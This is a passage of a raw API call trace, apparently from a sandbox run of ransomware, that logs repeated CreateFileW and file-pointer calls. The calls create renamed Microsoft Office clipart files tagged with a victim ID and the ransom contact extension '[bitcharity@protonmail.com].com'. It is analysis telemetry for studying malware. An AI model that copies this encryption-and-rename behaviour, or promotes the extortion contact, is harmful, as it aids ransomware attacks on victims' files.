dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02740U.BMP.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02740u.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.733] CloseHandle (hObject=0x1068) returned 1 [0258.734] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.734] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.734] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02742G.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02742g.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.734] CloseHandle (hObject=0x1068) returned 1 [0258.736] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.736] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02742U.BMP.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02742u.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.736] CloseHandle (hObject=0x1068) returned 1 [0258.737] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.737] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02743G.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02743g.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.738] CloseHandle (hObject=0x1068) returned 1 [0258.740] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.740] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02746G.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02746g.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.740] CloseHandle (hObject=0x1068) returned 1 [0258.741] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.741] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.741] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02746U.BMP.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02746u.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.741] CloseHandle (hObject=0x1068) returned 1 [0258.742] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.742] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02748G.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02748g.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.743] CloseHandle (hObject=0x1068) returned 1 [0258.744] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.744] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02748U.BMP.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02748u.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.744] CloseHandle (hObject=0x1068) returned 1 [0258.745] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.745] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02749G.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02749g.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.746] CloseHandle (hObject=0x1068) returned 1 [0258.746] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.747] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02749U.BMP.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02749u.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.747] CloseHandle (hObject=0x1068) returned 1 [0258.748] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.748] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02750G.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02750g.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.748] CloseHandle (hObject=0x1068) returned 1 [0258.749] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.749] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.749] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02750U.BMP.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02750u.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.749] CloseHandle (hObject=0x1068) returned 1 [0258.750] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.750] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02752G.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02752g.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.751] CloseHandle (hObject=0x1068) returned 1 [0258.751] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.751] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02752U.BMP.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02752u.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.752] CloseHandle (hObject=0x1068) returned 1 [0258.753] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.753] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02753U.BMP.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02753u.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.753] CloseHandle (hObject=0x1068) returned 1 [0258.754] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.754] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02754U.BMP.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02754u.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.755] CloseHandle (hObject=0x1068) returned 1 [0258.755] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.755] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02755U.BMP.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02755u.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.756] CloseHandle (hObject=0x1068) returned 1 [0258.758] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.758] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02756U.BMP.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02756u.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.759] CloseHandle (hObject=0x1068) returned 1 [0258.759] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.759] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02757U.BMP.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02757u.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.760] CloseHandle (hObject=0x1068) returned 1 [0259.277] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0259.277] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0259.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PSWAVY.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pswavy.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0260.335] CloseHandle (hObject=0x1280) returned 1 [0261.133] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.134] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00157_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00157_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.134] CloseHandle (hObject=0x1228) returned 1 [0261.135] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.135] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00352_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00352_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.135] CloseHandle (hObject=0x1228) returned 1 [0261.137] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.137] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00364_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00364_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.137] CloseHandle (hObject=0x1228) returned 1 [0261.139] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.139] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00367_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00367_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.139] CloseHandle (hObject=0x1228) returned 1 [0261.147] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.147] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00373_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00373_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.147] CloseHandle (hObject=0x1228) returned 1 [0261.150] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.150] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00382_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00382_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.150] CloseHandle (hObject=0x1228) returned 1 [0261.152] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.152] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00390_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00390_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.152] CloseHandle (hObject=0x1228) returned 1 [0261.153] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.153] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00391_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00391_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.154] CloseHandle (hObject=0x1228) returned 1 [0261.154] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.155] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00416_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00416_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.155] CloseHandle (hObject=0x1228) returned 1 [0261.157] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.157] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.157] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00423_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00423_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.157] CloseHandle (hObject=0x1228) returned 1 [0261.159] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.159] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00444_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00444_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.159] CloseHandle (hObject=0x1228) returned 1 [0261.161] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.161] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.161] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00452_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00452_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.161] CloseHandle (hObject=0x1228) returned 1 [0261.162] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.162] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00453_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft 